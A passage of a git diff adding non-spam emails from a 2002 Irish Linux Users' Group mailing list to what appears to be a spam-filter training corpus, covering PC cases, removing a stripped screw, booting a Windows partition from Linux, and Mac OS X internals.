+User-Agent: Mutt/1.4i +X-Nuvotem-Mailscanner: Found to be clean +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Cheers Padraig. + +Exactly what I needed. + +I knew I liked linux !!! + +Cheers, +Declan + + +On Wed, Aug 21, 2002 at 12:30:12PM +0100, Padraig Brady mentioned: +> +> man join + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00014.8e21078a89bd9c57255d302f346551e8 b/bayes/spamham/easy_ham_2/00014.8e21078a89bd9c57255d302f346551e8 new file mode 100644 index 0000000..de8b816 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00014.8e21078a89bd9c57255d302f346551e8 @@ -0,0 +1,117 @@ +From ilug-admin@linux.ie Wed Aug 21 13:33:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E769543C32 + for ; Wed, 21 Aug 2002 08:33:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 13:33:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LCYKZ24668 for + ; Wed, 21 Aug 2002 13:34:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29561; Wed, 21 Aug 2002 13:33:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay05.indigo.ie (relay05.indigo.ie [194.125.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id NAA29520 for ; + Wed, 21 Aug 2002 13:33:24 +0100 +Received: (qmail 65437 messnum 1218559 invoked from + network[194.125.130.10/unknown]); 21 Aug 2002 12:02:47 -0000 +Received: from unknown (HELO win2000) (194.125.130.10) by + relay05.indigo.ie (qp 65437) with SMTP; 21 Aug 2002 12:02:47 -0000 +Reply-To: +From: "Justin MacCarthy" +To: "Ilug@Linux.Ie" +Date: Wed, 21 Aug 2002 13:03:30 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Importance: Normal +In-Reply-To: +Subject: [ILUG] Update on PC Cases +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, I posted the below question to this list so I thought I'd update you +all. Thanks for your suggestions. + +Well, I'd decided to bite the bullet and spend big on a new case and CPU +fan. + +I bought a lian-li aluminum case. It was expensive as cases go (stg£133.86) +but I decided, it's a good basis to build any future PC on. +It has 4 x 51/4" drive bays and 6 x 3½" drive bays so I should be ok for +future upgrades etc. I have to say it was worth it. Its a pleasure to work +on. It has a slide out tray to mount the Mother Board on, both sides come +off, the drive bays come out...all without using a screwdriver (thumb +screws). Even the edges inside the case are smooth so no banging your hands +off shape edges etc. There are 4 fans inside the case, which can be set to 3 +different speeds. There are 4 usb ports on the front of the box too. The box +is big and has loads of room inside. +Oh... and it looks very cool :-) + +However there are 2 things to look out for. On the Maplins website it says + +* Up to three 80mm case fans can be fitted! +* ATX Power supply sold separately + +In fact the case came with 4 fans and a power supply, which is great but I +ordered 2 fans and a power supply separately. +Also the case was a slightly different model to one advertised, as I got the +USB model. It does say (Product may vary in design and specification from +that show) but I missed that :-) + +I also bought a Flower Cooler Kit which is completely silent. Very nice. +(thanks Mike) + +So now I can code-in-peace... + +Justin + + +> -----Original Message----- +> From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of +> Justin MacCarthy +> Sent: Monday, August 12, 2002 12:56 PM +> To: Ilug@Linux.Ie +> Subject: [ILUG] PC Cases +> +> +> Hi all, I have a Linux box at home that makes a god awful amount of noise. +> Its a Athlon XP 1900+ with a CoolerMaster fan. Are they particularly +> noisy? I think its the case/psu fan. It was a pretty cheap case. So what +> I'm looking for a quieter case/fan/power supply. I know you can get really +> quiet cases if you want to spend, but I'm looking for something in the +> middle ground, available in Dublin. +> +> Anyone recommend anything ? Thanks +> +> Justin +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +> information. +> List maintainer: listmaster@linux.ie +> +> +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00015.d5c8f360cf052b222819718165db24c6 b/bayes/spamham/easy_ham_2/00015.d5c8f360cf052b222819718165db24c6 new file mode 100644 index 0000000..91c353b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00015.d5c8f360cf052b222819718165db24c6 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Wed Aug 21 13:33:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E0EBC43C34 + for ; Wed, 21 Aug 2002 08:33:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 13:33:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LCYUZ24675 for + ; Wed, 21 Aug 2002 13:34:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29496; Wed, 21 Aug 2002 13:33:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie + [134.226.81.11]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id NAA29463 + for ; Wed, 21 Aug 2002 13:33:07 +0100 +Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id + ; 21 Aug 2002 13:33:06 +0100 (BST) +To: ilug@linux.ie +Subject: Re: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP! +X-It'S: all good +X-Wigglefluff: fuddtastic +X-Zippy: When this load is DONE I think I'll wash it AGAIN.. +In-Reply-To: Your message of + "Wed, 21 Aug 2002 12:42:17 BST." + +Date: Wed, 21 Aug 2002 13:33:06 +0100 +From: Niall Brady +Message-Id: <200208211333.aa96976@salmon.maths.tcd.ie> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, 21 Aug 2002 12:42:17 BST, Kiall Mac Innes said: +>Hi i have a phillips head skrew thats holding a circut board together i need +>to take it out ASAP and nothing will work, the threads on the skrew are +>almost completly gone, its is a very small skrew that i have to use a +>percision skrewdriver set to remove the skrews any help would be +>appreaciated... + +Get a very, *very* small set of drill bits. Start drilling right +through the center of the head, at a slow speed so you don't pop +off and through the board! Once you have a bit of an indent in, +increase the speed a little bit. + +If you've made a deepish indent, and the head doesn't pop off, use +the next largest drill bit you have. Repeat until happy. + +Eventually the head should just pop off, allowing you to lift the +board off over the shaft of the screw... then ye can take out the +rest fairly easily with a pliers or whatnot. + +-- + Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00016.bc1f434b566619637a0de033cd3380d1 b/bayes/spamham/easy_ham_2/00016.bc1f434b566619637a0de033cd3380d1 new file mode 100644 index 0000000..e2daba8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00016.bc1f434b566619637a0de033cd3380d1 @@ -0,0 +1,117 @@ +From ilug-admin@linux.ie Wed Aug 21 15:27:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2A44243C32 + for ; Wed, 21 Aug 2002 10:27:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 15:27:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LEKuZ28648 for + ; Wed, 21 Aug 2002 15:20:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA02460; Wed, 21 Aug 2002 15:18:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay06.indigo.ie (relay06.indigo.ie [194.125.133.230]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id PAA02423 for ; + Wed, 21 Aug 2002 15:18:45 +0100 +Received: (qmail 16161 messnum 1052942 invoked from + network[194.125.130.10/unknown]); 21 Aug 2002 13:38:11 -0000 +Received: from unknown (HELO win2000) (194.125.130.10) by + relay06.indigo.ie (qp 16161) with SMTP; 21 Aug 2002 13:38:11 -0000 +Reply-To: +From: "Justin MacCarthy" +To: +Date: Wed, 21 Aug 2002 14:38:55 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Importance: Normal +In-Reply-To: <20020821074430.0FBE570040@relay.dub-t3-1.nwcgroup.com> +Subject: [ILUG] Update on PC Cases +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, I posted the below question to this list so I thought I'd update you +all. Thanks for your suggestions. + +Well, I'd decided to bite the bullet and spend big on a new case and CPU +fan. + +I bought a lian-li aluminum case. It was expensive as cases go (stg£133.86) +but I decided, it's a good basis to build any future PC on. +It has 4 x 51/4" drive bays and 6 x 3½" drive bays so I should be ok for +future upgrades etc. I have to say it was worth it. Its a pleasure to work +on. It has a slide out tray to mount the Mother Board on, both sides come +off, the drive bays come out...all without using a screwdriver (thumb +screws). Even the edges inside the case are smooth so no banging your hands +off shape edges etc. There are 4 fans inside the case, which can be set to 3 +different speeds. There are 4 usb ports on the front of the box too. The box +is big and has loads of room inside. +Oh... and it looks very cool :-) + +However there are 2 things to look out for. On the Maplins website it says + +* Up to three 80mm case fans can be fitted! +* ATX Power supply sold separately + +In fact the case came with 4 fans and a power supply, which is great but I +ordered 2 fans and a power supply separately. +Also the case was a slightly different model to one advertised, as I got the +USB model. It does say (Product may vary in design and specification from +that show) but I missed that :-) + +I also bought a Flower Cooler Kit which is completely silent. Very nice. +(thanks Mike) + +So now I can code-in-peace... + +Justin + + +> -----Original Message----- +> From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of +> Justin MacCarthy +> Sent: Monday, August 12, 2002 12:56 PM +> To: Ilug@Linux.Ie +> Subject: [ILUG] PC Cases +> +> +> Hi all, I have a Linux box at home that makes a god awful amount of noise. +> Its a Athlon XP 1900+ with a CoolerMaster fan. Are they particularly +> noisy? I think its the case/psu fan. It was a pretty cheap case. So what +> I'm looking for a quieter case/fan/power supply. I know you can get really +> quiet cases if you want to spend, but I'm looking for something in the +> middle ground, available in Dublin. +> +> Anyone recommend anything ? Thanks +> +> Justin +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +> information. +> List maintainer: listmaster@linux.ie +> +> +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00017.8b965080dfffada165a54c041c27e33f b/bayes/spamham/easy_ham_2/00017.8b965080dfffada165a54c041c27e33f new file mode 100644 index 0000000..c126ad1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00017.8b965080dfffada165a54c041c27e33f @@ -0,0 +1,114 @@ +From ilug-admin@linux.ie Wed Aug 21 16:24:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4BC3E43C37 + for ; Wed, 21 Aug 2002 11:23:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:23:57 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFLOZ31083 for + ; Wed, 21 Aug 2002 16:21:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA05969; Wed, 21 Aug 2002 16:20:05 +0100 +Received: from nologic.org ([217.114.163.124]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id QAA05917 for ; Wed, + 21 Aug 2002 16:19:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.114.163.124] claimed + to be nologic.org +Received: (qmail 3622 invoked from network); 21 Aug 2002 15:21:41 -0000 +Received: from localhost (HELO nologic.org) (127.0.0.1) by 0 with SMTP; + 21 Aug 2002 15:21:41 -0000 +Received: from cacher3-ext.wise.edt.ericsson.se ([194.237.142.30]) + (proxying for 159.107.166.60) (SquirrelMail authenticated user + cj@nologic.org) by mail.nologic.org with HTTP; Wed, 21 Aug 2002 16:21:41 + +0100 (BST) +Message-Id: <26030.194.237.142.30.1029943301.squirrel@mail.nologic.org> +Date: Wed, 21 Aug 2002 16:21:41 +0100 (BST) +Subject: Re: [ILUG] Formatting a windows partition from Linux +From: "Ciaran Johnston" +To: +In-Reply-To: <1029944325.29456.28.camel@dubrhlnx1> +References: <1029944325.29456.28.camel@dubrhlnx1> +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +X-Mailer: SquirrelMail (version 1.2.5) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Dublin said: +> If you copy the files from your disk to the c: partition and mark it as +> active it should work ... + +Yeah, I figured that, but it doesn't seem to ... well, if that's the case +I'll give it another go tonight, maybe come back with some error messages. + +Just to clarify for those who didn't understand me initially - I have a +floppy drive installed, but it doesn't physically work. There's nowhere +handy to pick one up where I am, and I don't fancy waiting a few days for +one to arrive from Peats. + +Thanks for the answers, +Ciaran. + + +> +> You especially need io.sys, command.com and msdos.sys +> +> your cd driver .sys and read the autoexec.bat and config.sys files for +> hints on what you did with your boot floppy +> +> P +> +> On Wed, 2002-08-21 at 14:07, Ciaran Johnston wrote: +>> Hi folks, +>> The situation is this: at home, I have a PC with 2 10Gig HDDs, and no +>> (working) floppy drive. I have been running Linux solely for the last +>> year, but recently got the urge to, among other things, play some of +>> my Windoze games. I normally install the windows partition using a +>> boot floppy which I have conveniently zipped up, but I haven't any way +>> of writing or reading a floppy. +>> So, how do I go about: +>> 1. formatting a C: drive with system files (normally I would use +>> format /s c: from the floppy). +>> 2. Installing the CDROM drivers (my bootdisk (I wrote it many years +>> ago) does this normally). +>> 3. Booting from the partition? +>> +>> I wiped all my linux partitions from the first drive and created +>> partitions for Windows (HDA1) Slackware and RedHat. I used cfdisk for +>> this. I made the first drive (hda) bootable. I then installed the +>> windows partition in LILO and reran lilo (installed in MBR). I copied +>> the contents of boot.zip to my new windows partition and tried to boot +>> it - all I get is a garbled line of squiggles. +>> +>> Anyone any ideas? I can't think of anywhere in Athlone to get a new +>> floppy drive this evening... +>> +>> Thanks, +>> Ciaran. +>> +>> +>> +>> -- +>> Irish Linux Users' Group: ilug@linux.ie +>> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +>> information. List maintainer: listmaster@linux.ie + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00018.3b6a8c5da4043f2a6a63a1ae12bd9824 b/bayes/spamham/easy_ham_2/00018.3b6a8c5da4043f2a6a63a1ae12bd9824 new file mode 100644 index 0000000..9d33330 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00018.3b6a8c5da4043f2a6a63a1ae12bd9824 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Wed Aug 21 16:46:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E32C143C34 + for ; Wed, 21 Aug 2002 11:46:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:46:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFhpZ31916 for + ; Wed, 21 Aug 2002 16:43:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA07262; Wed, 21 Aug 2002 16:42:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail.it-tallaght.ie (mail.it-tallaght.ie [193.1.120.163]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA07224 for + ; Wed, 21 Aug 2002 16:42:47 +0100 +Received: by mail.it-tallaght.ie with Internet Mail Service (5.5.2656.59) + id ; Wed, 21 Aug 2002 16:40:34 +0100 +Message-Id: +From: "Smith, Graham - Computing Technician" +To: ilug@linux.ie +Subject: RE: [ILUG] Formatting a windows partition from Linux +Date: Wed, 21 Aug 2002 16:40:33 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2656.59) +Content-Type: text/plain; charset="iso-8859-15" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +This is a bit of a messy solution but might be useful - + +If you have an internal zip drive (not sure about external) and +you bios supports using a zip as floppy drive, you could +use a bootable zip disk with all the relevant dos utils. + +G. +___________________________ + Graham Smith, + Network Administrator, + Department of Computing, + Institute of Technology, + Tallaght, Dublin 24 + Phone: + 353 (01) 4042840 + +-----Original Message----- +From: Ciaran Johnston [mailto:cj@nologic.org] +Sent: 21 August 2002 16:22 +To: ilug@linux.ie +Subject: Re: [ILUG] Formatting a windows partition from Linux + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00019.c6b272a04ec32252f7c685f464ae3942 b/bayes/spamham/easy_ham_2/00019.c6b272a04ec32252f7c685f464ae3942 new file mode 100644 index 0000000..31c5f85 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00019.c6b272a04ec32252f7c685f464ae3942 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Wed Aug 21 16:46:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0B7EB43C36 + for ; Wed, 21 Aug 2002 11:46:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:46:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFllZ32022 for + ; Wed, 21 Aug 2002 16:47:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA07539; Wed, 21 Aug 2002 16:46:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id QAA07504 for ; Wed, + 21 Aug 2002 16:46:13 +0100 +Received: (qmail 47513 messnum 74105 invoked from + network[213.190.156.48/unknown]); 21 Aug 2002 15:45:38 -0000 +Received: from unknown (HELO XENON16) (213.190.156.48) by + mail02.svc.cra.dublin.eircom.net (qp 47513) with SMTP; 21 Aug 2002 + 15:45:38 -0000 +Message-Id: <00a901c2492a$0d7daf70$e600000a@XENON16> +From: "wintermute" +To: +References: +Subject: Re: [ILUG] Formatting a windows partition from Linux +Date: Wed, 21 Aug 2002 16:47:28 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hmm. + +Make sure you formatted the partition with fat 16 and have made the +partition /dev/hda1 a size such that dos won't have a problem recognising +it! + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00020.83ef024f76cc42b8245a683ed9b38406 b/bayes/spamham/easy_ham_2/00020.83ef024f76cc42b8245a683ed9b38406 new file mode 100644 index 0000000..a815456 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00020.83ef024f76cc42b8245a683ed9b38406 @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Wed Aug 21 16:52:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3E9FC43C32 + for ; Wed, 21 Aug 2002 11:52:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:52:04 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFnNZ32063 for + ; Wed, 21 Aug 2002 16:49:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA07631; Wed, 21 Aug 2002 16:47:11 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay07.indigo.ie (relay07.indigo.ie [194.125.133.231]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id QAA07597 for ; + Wed, 21 Aug 2002 16:47:03 +0100 +Received: (qmail 7353 messnum 1016263 invoked from + network[80.247.160.141/unknown]); 21 Aug 2002 15:47:02 -0000 +Received: from unknown (HELO isgtwomem) (80.247.160.141) by + relay07.indigo.ie (qp 7353) with SMTP; 21 Aug 2002 15:47:02 -0000 +Message-Id: <002d01c24929$fe26d600$8da0f750@corp.emc.com> +From: "Mark Twomey" +To: +Date: Wed, 21 Aug 2002 16:47:02 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Subject: [ILUG] Re: [OT] MacOSX mailing list? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +>Sorry for the OT. Just wondering if anybody knows of a similar type mailing +>list specifically dealing with MacOSX? (which, FYI is a version of BSD) + +>Slán, + +>Tim + +Hi Tim, +It isn't a "version" of anything except NeXTSTEP, with a Mac hackjob. +It has a bastardised, but functional BSD -layer- which sit's atop Mach and +uses case insensitive HFS+ but it isn't really a BSD. + +(Here's a neat trick, touch "Makefile" and "makefile", notice the lack of +error message but the absence of "makefile", and don't bother formatting for +UFS. The Apple UFS implementation performs like a dog, was frozen in 97, +implemented badly and has not been updated since. HFS+ get's tweaked every +now and then, but enough screaming has them looking at shoving UFS2 in there +somewhere down the road. ) + +Then there's the holdover NeXT inherent weirdness, such as multiple versions +of common Unix files, but none of them do anything, and all changes you +would usually append to them have to go through NetInfo Manager. + +All in all, I find it to be a functional, if not overly quirky desktop +environment. + +As for your initial question, +http://www.omnigroup.com/developer/mailinglists/ + +Regards, +Mark. + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00021.ba795c59691c8f5d8a02425fdd9bf0ea b/bayes/spamham/easy_ham_2/00021.ba795c59691c8f5d8a02425fdd9bf0ea new file mode 100644 index 0000000..62bc8e4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00021.ba795c59691c8f5d8a02425fdd9bf0ea @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Wed Aug 21 16:58:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1711A43C32 + for ; Wed, 21 Aug 2002 11:58:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:58:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFsmZ32331 for + ; Wed, 21 Aug 2002 16:54:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA08074; Wed, 21 Aug 2002 16:52:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay07.indigo.ie (relay07.indigo.ie [194.125.133.231]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id QAA08046 for ; + Wed, 21 Aug 2002 16:52:42 +0100 +Received: (qmail 13908 messnum 1017395 invoked from + network[80.247.160.141/unknown]); 21 Aug 2002 15:52:41 -0000 +Received: from unknown (HELO isgtwomem) (80.247.160.141) by + relay07.indigo.ie (qp 13908) with SMTP; 21 Aug 2002 15:52:41 -0000 +Message-Id: <003301c2492a$c8375a00$8da0f750@corp.emc.com> +From: "Mark Twomey" +To: +Date: Wed, 21 Aug 2002 16:52:41 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Subject: [ILUG] Re: [OT] MacOSX mailing list? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Conor Wynne wrote: + +>Dunno Tim, but I'm seriously considering buying one just for osx. But I'm +>gonna wait till they are providing the latest release first. + +Every new Mac comes with an upgrade 10.2 CD as of last week. +So if you bought one on the 12th, you'd be running 10.2 before the release +this Friday night. + +>Unless someone is selling some pomme kit for cheapish/swap? + +Good luck with that, even Mac geeks have a longer upgrade cycle than the +average PC user, but you'd never know... + +M. + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00022.b7c5c97a3a140eed207b9e90d4e650a1 b/bayes/spamham/easy_ham_2/00022.b7c5c97a3a140eed207b9e90d4e650a1 new file mode 100644 index 0000000..79ef1e7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00022.b7c5c97a3a140eed207b9e90d4e650a1 @@ -0,0 +1,81 @@ 